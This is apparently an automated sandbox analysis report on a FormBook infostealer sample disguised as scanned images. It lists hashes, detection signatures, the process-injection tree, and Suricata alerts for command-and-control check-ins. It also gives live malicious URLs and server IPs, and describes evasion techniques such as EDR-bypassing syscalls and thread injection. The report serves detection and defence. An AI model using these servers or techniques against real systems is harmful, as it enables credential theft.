Edit tour

Windows Analysis Report
Scanned-IMGS_from NomanGroup IDT.scr.exe

Overview

General Information

Sample name:	Scanned-IMGS_from NomanGroup IDT.scr.exe
Analysis ID:	1590590
MD5:	17cbb82b7db7a77df6507dd32af10563
SHA1:	816fc79a0d8dc1ea493779e01f21f99c00a9229d
SHA256:	744a3efa374159a40ea07cf1c6a295f40fef90685421d20ceda619847dbe6165
Tags:	exeuser-lowmal3
Infos:

Detection

FormBook

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected FormBook

AI detected suspicious sample

Binary is likely a compiled AutoIt script file

Found API chain indicative of sandbox detection

Found direct / indirect Syscall (likely to bypass EDR)

Machine Learning detection for sample

Maps a DLL or memory area into another process

Modifies the context of a thread in another process (thread injection)

Queues an APC in another process (thread injection)

Switches to a custom stack to bypass stack traces

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Mail credentials (via file / registry access)

Writes to foreign memory regions

Checks if the current process is being debugged

Contains functionality for execution timing, often used to detect debuggers

Contains functionality for read data from the clipboard

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to block mouse and keyboard input (often used to hinder debugging)

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check if a window is minimized (may be used to check if an application is visible)

Contains functionality to communicate with device drivers

Contains functionality to dynamically determine API calls

Contains functionality to execute programs as a different user

Contains functionality to launch a process as a different user

Contains functionality to launch a program with higher privileges

Contains functionality to modify clipboard data

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Contains functionality to read the clipboard data

Contains functionality to retrieve information about pressed keystrokes

Contains functionality to shutdown / reboot the system

Contains functionality to simulate keystroke presses

Contains functionality to simulate mouse events

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates a process in suspended mode (likely to inject code)

Detected non-DNS traffic on DNS port

Detected potential crypto function

Found inlined nop instructions (likely shell or obfuscated code)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

OS version to string mapping found (often used in BOTs)

Potential key logger detected (key state polling based)

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Uncommon Svchost Parent Process

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

Scanned-IMGS_from NomanGroup IDT.scr.exe (PID: 7520 cmdline: "C:\Users\user\Desktop\Scanned-IMGS_from NomanGroup IDT.scr.exe" MD5: 17CBB82B7DB7A77DF6507DD32AF10563)

svchost.exe (PID: 7540 cmdline: "C:\Users\user\Desktop\Scanned-IMGS_from NomanGroup IDT.scr.exe" MD5: 1ED18311E3DA35942DB37D15FA40CC5B)

zalkpCfMwtnpQo.exe (PID: 4856 cmdline: "C:\Program Files (x86)\ZJVdDTSHvqSjjqQNqNGGpyUZfODRUsROtCgOaWivdOVQCkvHWkEXXCJISuKFITnpLIwzjKRncrXBNUeK\zalkpCfMwtnpQo.exe" MD5: 32B8AD6ECA9094891E792631BAEA9717)

verclsid.exe (PID: 7608 cmdline: "C:\Windows\SysWOW64\verclsid.exe" MD5: 190A347DF06F8486F193ADA0E90B49C5)

zalkpCfMwtnpQo.exe (PID: 4944 cmdline: "C:\Program Files (x86)\ZJVdDTSHvqSjjqQNqNGGpyUZfODRUsROtCgOaWivdOVQCkvHWkEXXCJISuKFITnpLIwzjKRncrXBNUeK\zalkpCfMwtnpQo.exe" MD5: 32B8AD6ECA9094891E792631BAEA9717)

firefox.exe (PID: 7948 cmdline: "C:\Program Files\Mozilla Firefox\Firefox.exe" MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Formbook, Formbo	FormBook contains a unique crypter RunPE that has unique behavioral patterns subject to detection. It was initially called "Babushka Crypter" by Insidemalware.	SWEED Cobalt	http://blog.inquest.net/blog/2018/06/22/a-look-at-formbook-stealer/ http://cambuz.blogspot.de/2016/06/form-grabber-2016-cromeffoperathunderbi.html http://www.vkremez.com/2018/01/lets-learn-dissecting-formbook.html https://0xmrmagnezi.github.io/malware%20analysis/FormBook/ https://any.run/cybersecurity-blog/xloader-formbook-encryption-analysis-and-malware-decryption/	https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
00000003.00000002.3548246487.0000000003320000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
00000003.00000002.3548136805.00000000032D0000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
00000007.00000002.3551901085.0000000005770000.00000040.80000000.00040000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
00000003.00000002.3547874217.0000000003020000.00000040.80000000.00040000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
00000001.00000002.1829643197.0000000000400000.00000040.80000000.00040000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
00000001.00000002.1835373056.00000000091A0000.00000040.10000000.00040000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
00000001.00000002.1830333241.0000000005AE0000.00000040.10000000.00040000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
00000002.00000002.3549362625.0000000004810000.00000040.00000001.00040000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
Click to see the 3 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
1.2.svchost.exe.400000.0.unpack	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
1.2.svchost.exe.400000.0.raw.unpack	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security

Sigma Signatures

System Summary

Sigma detected: Uncommon Svchost Parent Process

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Users\user\Desktop\Scanned-IMGS_from NomanGroup IDT.scr.exe", CommandLine: "C:\Users\user\Desktop\Scanned-IMGS_from NomanGroup IDT.scr.exe", CommandLine|base64offset|contains: 6j, Image: C:\Windows\SysWOW64\svchost.exe, NewProcessName: C:\Windows\SysWOW64\svchost.exe, OriginalFileName: C:\Windows\SysWOW64\svchost.exe, ParentCommandLine: "C:\Users\user\Desktop\Scanned-IMGS_from NomanGroup IDT.scr.exe", ParentImage: C:\Users\user\Desktop\Scanned-IMGS_from NomanGroup IDT.scr.exe, ParentProcessId: 7520, ParentProcessName: Scanned-IMGS_from NomanGroup IDT.scr.exe, ProcessCommandLine: "C:\Users\user\Desktop\Scanned-IMGS_from NomanGroup IDT.scr.exe", ProcessId: 7540, ProcessName: svchost.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: "C:\Users\user\Desktop\Scanned-IMGS_from NomanGroup IDT.scr.exe", CommandLine: "C:\Users\user\Desktop\Scanned-IMGS_from NomanGroup IDT.scr.exe", CommandLine|base64offset|contains: 6j, Image: C:\Windows\SysWOW64\svchost.exe, NewProcessName: C:\Windows\SysWOW64\svchost.exe, OriginalFileName: C:\Windows\SysWOW64\svchost.exe, ParentCommandLine: "C:\Users\user\Desktop\Scanned-IMGS_from NomanGroup IDT.scr.exe", ParentImage: C:\Users\user\Desktop\Scanned-IMGS_from NomanGroup IDT.scr.exe, ParentProcessId: 7520, ParentProcessName: Scanned-IMGS_from NomanGroup IDT.scr.exe, ProcessCommandLine: "C:\Users\user\Desktop\Scanned-IMGS_from NomanGroup IDT.scr.exe", ProcessId: 7540, ProcessName: svchost.exe

Suricata Signatures

ETPRO MALWARE FormBook CnC Checkin (GET) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-14T10:24:28.619902+0100	2855465	1	A Network Trojan was detected	192.168.2.4	49223	13.248.169.48	80	TCP
2025-01-14T10:25:01.443609+0100	2855465	1	A Network Trojan was detected	192.168.2.4	57343	206.119.82.172	80	TCP
2025-01-14T10:25:14.747221+0100	2855465	1	A Network Trojan was detected	192.168.2.4	57427	67.223.117.142	80	TCP
2025-01-14T10:25:28.132064+0100	2855465	1	A Network Trojan was detected	192.168.2.4	57512	162.0.215.244	80	TCP
2025-01-14T10:25:41.405894+0100	2855465	1	A Network Trojan was detected	192.168.2.4	57583	3.33.130.190	80	TCP
2025-01-14T10:26:03.413361+0100	2855465	1	A Network Trojan was detected	192.168.2.4	57603	38.47.233.52	80	TCP
2025-01-14T10:26:16.567525+0100	2855465	1	A Network Trojan was detected	192.168.2.4	57607	104.21.3.193	80	TCP
2025-01-14T10:26:29.699619+0100	2855465	1	A Network Trojan was detected	192.168.2.4	57611	3.33.130.190	80	TCP
2025-01-14T10:26:43.767121+0100	2855465	1	A Network Trojan was detected	192.168.2.4	57615	20.244.96.65	80	TCP
2025-01-14T10:27:05.120371+0100	2855465	1	A Network Trojan was detected	192.168.2.4	57619	84.32.84.32	80	TCP

ETPRO MALWARE FormBook CnC Checkin (POST) M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-14T10:24:53.839685+0100	2855464	1	A Network Trojan was detected	192.168.2.4	57319	206.119.82.172	80	TCP
2025-01-14T10:24:56.387302+0100	2855464	1	A Network Trojan was detected	192.168.2.4	57320	206.119.82.172	80	TCP
2025-01-14T10:24:58.924134+0100	2855464	1	A Network Trojan was detected	192.168.2.4	57327	206.119.82.172	80	TCP
2025-01-14T10:25:07.096702+0100	2855464	1	A Network Trojan was detected	192.168.2.4	57374	67.223.117.142	80	TCP
2025-01-14T10:25:09.625077+0100	2855464	1	A Network Trojan was detected	192.168.2.4	57395	67.223.117.142	80	TCP
2025-01-14T10:25:12.197696+0100	2855464	1	A Network Trojan was detected	192.168.2.4	57411	67.223.117.142	80	TCP
2025-01-14T10:25:20.684968+0100	2855464	1	A Network Trojan was detected	192.168.2.4	57463	162.0.215.244	80	TCP
2025-01-14T10:25:23.176391+0100	2855464	1	A Network Trojan was detected	192.168.2.4	57479	162.0.215.244	80	TCP
2025-01-14T10:25:25.619691+0100	2855464	1	A Network Trojan was detected	192.168.2.4	57496	162.0.215.244	80	TCP
2025-01-14T10:25:33.752152+0100	2855464	1	A Network Trojan was detected	192.168.2.4	57544	3.33.130.190	80	TCP
2025-01-14T10:25:36.292105+0100	2855464	1	A Network Trojan was detected	192.168.2.4	57557	3.33.130.190	80	TCP
2025-01-14T10:25:38.843157+0100	2855464	1	A Network Trojan was detected	192.168.2.4	57570	3.33.130.190	80	TCP
2025-01-14T10:25:55.782922+0100	2855464	1	A Network Trojan was detected	192.168.2.4	57600	38.47.233.52	80	TCP
2025-01-14T10:25:58.319121+0100	2855464	1	A Network Trojan was detected	192.168.2.4	57601	38.47.233.52	80	TCP
2025-01-14T10:26:00.896051+0100	2855464	1	A Network Trojan was detected	192.168.2.4	57602	38.47.233.52	80	TCP
2025-01-14T10:26:08.910903+0100	2855464	1	A Network Trojan was detected	192.168.2.4	57604	104.21.3.193	80	TCP
2025-01-14T10:26:12.082025+0100	2855464	1	A Network Trojan was detected	192.168.2.4	57605	104.21.3.193	80	TCP
2025-01-14T10:26:14.006169+0100	2855464	1	A Network Trojan was detected	192.168.2.4	57606	104.21.3.193	80	TCP
2025-01-14T10:26:22.054349+0100	2855464	1	A Network Trojan was detected	192.168.2.4	57608	3.33.130.190	80	TCP
2025-01-14T10:26:24.615122+0100	2855464	1	A Network Trojan was detected	192.168.2.4	57609	3.33.130.190	80	TCP
2025-01-14T10:26:27.168370+0100	2855464	1	A Network Trojan was detected	192.168.2.4	57610	3.33.130.190	80	TCP
2025-01-14T10:26:36.262702+0100	2855464	1	A Network Trojan was detected	192.168.2.4	57612	20.244.96.65	80	TCP
2025-01-14T10:26:38.809818+0100	2855464	1	A Network Trojan was detected	192.168.2.4	57613	20.244.96.65	80	TCP
2025-01-14T10:26:41.356459+0100	2855464	1	A Network Trojan was detected	192.168.2.4	57614	20.244.96.65	80	TCP
2025-01-14T10:26:57.375175+0100	2855464	1	A Network Trojan was detected	192.168.2.4	57616	84.32.84.32	80	TCP
2025-01-14T10:26:59.898580+0100	2855464	1	A Network Trojan was detected	192.168.2.4	57617	84.32.84.32	80	TCP
2025-01-14T10:27:02.468302+0100	2855464	1	A Network Trojan was detected	192.168.2.4	57618	84.32.84.32	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: Scanned-IMGS_from NomanGroup IDT.scr.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://www.nexula.website/ro4w/	Avira URL Cloud: Label: malware
Source: http://www.wddb97.top/p75v/?OvV=2njD6f80EDOLQ8&wz4=GLmvlUrKOeNEevY3wcyfjSkNrwRDbMR2/x32zMvR34mmT0X9ObY05SVA9W4yUMrr2Yq11ERvKU6w2wYb4X7EbFt4LfTn3Wu5NGMirqATx7GUx0yxlSOAJso=	Avira URL Cloud: Label: malware
Source: http://www.7wkto5nk230724z.click/yysf/	Avira URL Cloud: Label: malware
Source: http://www.nexula.website/ro4w/?wz4=c7bs7cBJE/6WeNDz6y7wfs4csA5ai8mWfunIFb5NDUjHoY3en1z9O1W0OakyKWwaCum+/W1z6qbtx3tl+iJ0V9nyUJg4fcAQQsDkMDUAlXZwvkRINEDVO9c=&OvV=2njD6f80EDOLQ8	Avira URL Cloud: Label: malware
Source: http://www.wddb97.top/p75v/	Avira URL Cloud: Label: malware

Multi AV Scanner detection for submitted file

Source: Scanned-IMGS_from NomanGroup IDT.scr.exe	Virustotal: Detection: 36%			Perma Link
Source: Scanned-IMGS_from NomanGroup IDT.scr.exe	ReversingLabs: Detection: 44%

Yara detected FormBook

Source: Yara match	File source: 1.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000002.3548246487.0000000003320000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.3548136805.00000000032D0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.3551901085.0000000005770000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.3547874217.0000000003020000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1829643197.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1835373056.00000000091A0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1830333241.0000000005AE0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.3549362625.0000000004810000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: Scanned-IMGS_from NomanGroup IDT.scr.exe

Joe Sandbox ML: detected

Source: Scanned-IMGS_from NomanGroup IDT.scr.exe

Static PE information: EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE

Source:	Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: zalkpCfMwtnpQo.exe, 00000002.00000002.3547860890.000000000013E000.00000002.00000001.01000000.00000004.sdmp, zalkpCfMwtnpQo.exe, 00000007.00000002.3547855130.000000000013E000.00000002.00000001.01000000.00000004.sdmp
Source:	Binary string: wntdll.pdbUGP source: Scanned-IMGS_from NomanGroup IDT.scr.exe, 00000000.00000003.1699361176.0000000003BD0000.00000004.00001000.00020000.00000000.sdmp, Scanned-IMGS_from NomanGroup IDT.scr.exe, 00000000.00000003.1701122516.00000000040E0000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1729825920.0000000003500000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000002.1829963241.0000000003A9E000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000001.00000002.1829963241.0000000003900000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1731375904.0000000003700000.00000004.00000020.00020000.00000000.sdmp, verclsid.exe, 00000003.00000003.1838981604.0000000004EB6000.00000004.00000020.00020000.00000000.sdmp, verclsid.exe, 00000003.00000002.3549867531.0000000005060000.00000040.00001000.00020000.00000000.sdmp, verclsid.exe, 00000003.00000002.3549867531.00000000051FE000.00000040.00001000.00020000.00000000.sdmp, verclsid.exe, 00000003.00000003.1836979825.0000000004D01000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: Scanned-IMGS_from NomanGroup IDT.scr.exe, 00000000.00000003.1699361176.0000000003BD0000.00000004.00001000.00020000.00000000.sdmp, Scanned-IMGS_from NomanGroup IDT.scr.exe, 00000000.00000003.1701122516.00000000040E0000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, svchost.exe, 00000001.00000003.1729825920.0000000003500000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000002.1829963241.0000000003A9E000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000001.00000002.1829963241.0000000003900000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1731375904.0000000003700000.00000004.00000020.00020000.00000000.sdmp, verclsid.exe, verclsid.exe, 00000003.00000003.1838981604.0000000004EB6000.00000004.00000020.00020000.00000000.sdmp, verclsid.exe, 00000003.00000002.3549867531.0000000005060000.00000040.00001000.00020000.00000000.sdmp, verclsid.exe, 00000003.00000002.3549867531.00000000051FE000.00000040.00001000.00020000.00000000.sdmp, verclsid.exe, 00000003.00000003.1836979825.0000000004D01000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: verclsid.pdbGCTL source: svchost.exe, 00000001.00000003.1798236689.000000000321A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000002.1829844647.0000000003200000.00000004.00000020.00020000.00000000.sdmp, zalkpCfMwtnpQo.exe, 00000002.00000002.3548785048.0000000000E48000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: svchost.pdb source: verclsid.exe, 00000003.00000002.3548335775.0000000003385000.00000004.00000020.00020000.00000000.sdmp, verclsid.exe, 00000003.00000002.3550509142.000000000568C000.00000004.10000000.00040000.00000000.sdmp, zalkpCfMwtnpQo.exe, 00000007.00000002.3549816270.000000000333C000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000008.00000002.2126594180.000000000FEAC000.00000004.80000000.00040000.00000000.sdmp
Source:	Binary string: verclsid.pdb source: svchost.exe, 00000001.00000003.1798236689.000000000321A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000002.1829844647.0000000003200000.00000004.00000020.00020000.00000000.sdmp, zalkpCfMwtnpQo.exe, 00000002.00000002.3548785048.0000000000E48000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: svchost.pdbUGP source: verclsid.exe, 00000003.00000002.3548335775.0000000003385000.00000004.00000020.00020000.00000000.sdmp, verclsid.exe, 00000003.00000002.3550509142.000000000568C000.00000004.10000000.00040000.00000000.sdmp, zalkpCfMwtnpQo.exe, 00000007.00000002.3549816270.000000000333C000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000008.00000002.2126594180.000000000FEAC000.00000004.80000000.00040000.00000000.sdmp

Source: C:\Users\user\Desktop\Scanned-IMGS_from NomanGroup IDT.scr.exe	Code function: 0_2_004C68EE FindFirstFileW,FindClose,	0_2_004C68EE
Source: C:\Users\user\Desktop\Scanned-IMGS_from NomanGroup IDT.scr.exe	Code function: 0_2_004C698F FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,FileTimeToSystemTime,FileTimeToSystemTime,	0_2_004C698F
Source: C:\Users\user\Desktop\Scanned-IMGS_from NomanGroup IDT.scr.exe	Code function: 0_2_004BD076 FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	0_2_004BD076
Source: C:\Users\user\Desktop\Scanned-IMGS_from NomanGroup IDT.scr.exe	Code function: 0_2_004BD3A9 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	0_2_004BD3A9
Source: C:\Users\user\Desktop\Scanned-IMGS_from NomanGroup IDT.scr.exe	Code function: 0_2_004C9642 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	0_2_004C9642
Source: C:\Users\user\Desktop\Scanned-IMGS_from NomanGroup IDT.scr.exe	Code function: 0_2_004C979D SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	0_2_004C979D
Source: C:\Users\user\Desktop\Scanned-IMGS_from NomanGroup IDT.scr.exe	Code function: 0_2_004C9B2B FindFirstFileW,Sleep,FindNextFileW,FindClose,	0_2_004C9B2B
Source: C:\Users\user\Desktop\Scanned-IMGS_from NomanGroup IDT.scr.exe	Code function: 0_2_004BDBBE lstrlenW,GetFileAttributesW,FindFirstFileW,FindClose,	0_2_004BDBBE
Source: C:\Users\user\Desktop\Scanned-IMGS_from NomanGroup IDT.scr.exe	Code function: 0_2_004C5C97 FindFirstFileW,FindNextFileW,FindClose,	0_2_004C5C97
Source: C:\Windows\SysWOW64\verclsid.exe	Code function: 3_2_0303C650 FindFirstFileW,FindNextFileW,FindClose,	3_2_0303C650

Source: C:\Windows\SysWOW64\verclsid.exe	Code function: 4x nop then xor eax, eax		3_2_03029DD0
Source: C:\Windows\SysWOW64\verclsid.exe	Code function: 4x nop then mov ebx, 00000004h		3_2_04E004DF

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.4:49223 -> 13.248.169.48:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:57319 -> 206.119.82.172:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:57374 -> 67.223.117.142:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.4:57343 -> 206.119.82.172:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:57411 -> 67.223.117.142:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:57463 -> 162.0.215.244:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:57395 -> 67.223.117.142:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:57327 -> 206.119.82.172:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:57496 -> 162.0.215.244:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.4:57512 -> 162.0.215.244:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:57320 -> 206.119.82.172:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:57479 -> 162.0.215.244:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:57544 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:57557 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:57570 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.4:57583 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:57600 -> 38.47.233.52:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.4:57611 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.4:57607 -> 104.21.3.193:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.4:57619 -> 84.32.84.32:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:57601 -> 38.47.233.52:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.4:57427 -> 67.223.117.142:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:57612 -> 20.244.96.65:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.4:57615 -> 20.244.96.65:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:57606 -> 104.21.3.193:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:57604 -> 104.21.3.193:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:57616 -> 84.32.84.32:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:57608 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:57602 -> 38.47.233.52:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:57618 -> 84.32.84.32:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:57614 -> 20.244.96.65:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.4:57603 -> 38.47.233.52:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:57617 -> 84.32.84.32:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:57613 -> 20.244.96.65:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:57610 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:57605 -> 104.21.3.193:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:57609 -> 3.33.130.190:80

Source: global traffic	TCP traffic: 192.168.2.4:49221 -> 1.1.1.1:53
Source: global traffic	TCP traffic: 192.168.2.4:57314 -> 162.159.36.2:53

Source: Joe Sandbox View	IP Address: 206.119.82.172 206.119.82.172
Source: Joe Sandbox View	IP Address: 67.223.117.142 67.223.117.142
Source: Joe Sandbox View	IP Address: 162.0.215.244 162.0.215.244

Source: Joe Sandbox View	ASN Name: COGENT-174US COGENT-174US
Source: Joe Sandbox View	ASN Name: VIMRO-AS15189US VIMRO-AS15189US
Source: Joe Sandbox View	ASN Name: ACPCA ACPCA
Source: Joe Sandbox View	ASN Name: AMAZON-02US AMAZON-02US

Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 162.159.36.2
Source: unknown	TCP traffic detected without corresponding DNS query: 162.159.36.2
Source: unknown	TCP traffic detected without corresponding DNS query: 162.159.36.2
